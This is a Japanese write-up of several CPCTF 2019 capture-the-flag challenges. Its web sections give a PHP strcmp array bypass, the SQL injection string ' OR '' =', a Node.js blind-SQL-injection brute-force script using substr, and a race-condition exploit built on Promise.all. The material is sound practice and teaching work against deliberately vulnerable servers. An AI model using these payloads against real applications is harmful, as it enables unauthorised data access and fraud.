CPCTF 2019 writeup
CPCTF 2019 writeup
300↑の問題
CPCTFはデジタル創作同好会traPの新歓CTFですが新入生以外も参加することができました
今回は作問等に参加していなかったので参加しました
Misk [300] Undo
サーバーにアクセスするとFLAGが書かれているであろうファイルflag.txt
が存在するが、中身は空である
隠しファイルに.undo/%home%undo%flag.txt
というファイルがあるので開く
上のほうにFLAG_..{..}が書いてあるのでそれを提出
PPC [300] Long Seat
N人の客が
- 空いていれば両端
- 空いている区間のちょうど中央
- 手すりがあるとずれる
に順に座る
手すりを自由に配置することができる
求めるのは手すりの最小数
関数f(n)
を区間n
のときに必要な手すりの最小数とするとf(n)
は
n <= 1
- f(n) = 0
nが奇数
- f(n) = f(n/2) * 2
- 中央に座ってくれるのでこの区間で増加することはない
- f(n) = f(n/2) * 2
nが偶数
- f(n) = 1 + f(n/2) + f(n/2 - 1)
- 手すりを置かなければならないので1加算される
- f(n) = 1 + f(n/2) + f(n/2 - 1)
となる
何度か呼ばれるかもしれないのでメモ化した
Web [400] C5
ソースコードを読むと、難読化されているjsがいることがわかる
また、ボタンを押してもポストしていないjs うー にゃー
で調べると(」・ω・)」うー!(/・ω・)/にゃー!encodeが出てくる
いろいろやったが、結局のところボタンのイベントハンドラを見ると素のjsが書いてあるのでFLAGが見えるのでそれを提出
Web [300] S1
ソースコードを読むと、リクエストと不明な文字列を比較してることがわかるstrcmp
に配列が投げられるとNULLになるらしい(php strcmp ctf
で調べた)pass[]='a', pass[]='b'
など適当なPOSTを投げるとFLAGがわかるのでそれを提出(Postmanを使った)
Web [300] S2
ソースコードを読むと、鯖側ではsqliteを使い、パスワードを保管していることがわかる
SQL文が生で書かれているため、SQLインジェクションが可能である' OR '' ='
という文字列を投げるとFLAGが返ってくるのでそれを提出
Web [400] S4
これもS2と同じくSQLインジェクションが可能だが、条件が真のときに返ってくる文字列は自分が提出したものである
ただ、条件が真であるかは判定することができるので、sqliteのsubstr
を使い、1文字ずつ判定を行えば良いlike
でも同様なことができそうだが、大文字小文字の区別がつかないらしい(結局フラグは小文字のみだったが)
nodeで書いた↓
const axios = require('axios')
function isok (txt) {
return /Nice/.test(txt)
}
let moji = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}"
let ok = async (txt) => {
let params = new URLSearchParams();
params.append('pass', txt);
axios.post("http://<problem URL>", params).then(res => {
if (isok(res.data)) {
console.log(txt)
}
})
}
let build = (i, a) => `' OR substr(Flag, ${i}, 1) = '${a}`
// 上限があるのでjの数値は適度にずらす
for (let j = 0; j < 5; j++) {
for (let i = 0; i < moji.length; i++) {
ok(build(j, moji[i]))
}
}
Web [400] Stateful
お弁当を買ったり、返品したりできるサイトの問題
返品すると買った金額が返ってくるので、初期金額1000円が増減しない
ソースコードを読むと、鯖側のデータベースで状態の管理を行なっていて、114514円の弁当を購入するとFLAGが返ってくることがわかる
他人の商品を返品しようとしても、拒否されるのでどうにか所持金額を増やす必要がある
SQL文を見ると所持金の計算はアプリケーション側で行なっているが、トランザクションを発行していないことがわかる
購入処理を詰まらせれば所持金が増えるので、devtoolでPromise.all([buy(100), buy(100), .., buy(100)])
を繰り返し実行して所持金を114514円に増やしFLAGを得た
感想
前半はWeb問題を解いて、後半は解けそうな問題を解いていった
PPCが思っていたよりも難しく飛ばしてしまったが、他の問題で悩むよりはPPCを解いた方が点数が取れていたかもしれない(終盤解けたのが100/200ばかり)
webの400がそこそこ解けたのでよかった
運営/参加者のみなさんお疲れ様でした!!